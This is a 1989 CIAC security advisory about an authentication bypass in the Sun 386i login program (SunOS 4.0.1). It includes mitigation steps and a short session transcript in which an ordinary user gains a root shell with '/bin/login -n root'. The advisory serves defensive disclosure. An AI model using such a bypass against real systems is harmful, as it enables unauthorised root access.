55 lines
1.9 KiB
Plaintext
55 lines
1.9 KiB
Plaintext
|
||
________________________________________________________________
|
||
THE COMPUTER INCIDENT ADVISORY CAPABILITY
|
||
|
||
CIAC
|
||
|
||
ADVISORY NOTICE
|
||
________________________________________________________________
|
||
|
||
|
||
COMPUTER SECURITY INFORMATION
|
||
|
||
Authentication bypass in Sun 386i machines
|
||
|
||
The login program supplied by Sun for its 386i machines, version 4.0.1 of Sun
|
||
OS (SOS), accepts the argument "-n" which bypasses authentication. It was
|
||
apparently added in order to allow the Sun program "logintool" to do the
|
||
authentication and have login do the housekeeping. This allows a user who
|
||
discovers the new argument to the login program to become a root user in
|
||
several ways. An example of one method is attached.
|
||
|
||
A temporary solution is to disable logintool and patch the binary using
|
||
the "strings" and "adb"method used last November. Alternatively and more
|
||
simly, log in a root and issue the command
|
||
|
||
chmod 110 /bin/login
|
||
|
||
Example of login endrun:
|
||
---------------------------------------------------
|
||
Script started on Tue Apr 11 14:16:25 1989
|
||
myhost[1] whoami
|
||
oconnor
|
||
myhost[2] /bin/login -n root
|
||
Login incorrect
|
||
login: onceuponatime
|
||
No home directory specified in password file! Logging in with home=/
|
||
# whoami
|
||
root
|
||
# who a i
|
||
myhost!onceupon ttyp2 Apr 11 14:17
|
||
# ^D myhost1[3] ^D
|
||
script done on Tue Apr 11 14:17:34 1989
|
||
---------------------------------------------------
|
||
|
||
Sun is presently working on a patch. When it is available, CIAC will
|
||
inform you accordingly.
|
||
|
||
For questions or additional information, please contact
|
||
|
||
Gene Schultz
|
||
CIAC Team Leader
|
||
(415) 422-8193 or FTS 532-8193
|
||
gschultz%nsspa@icdc.llnl.gov
|
||
|
||
|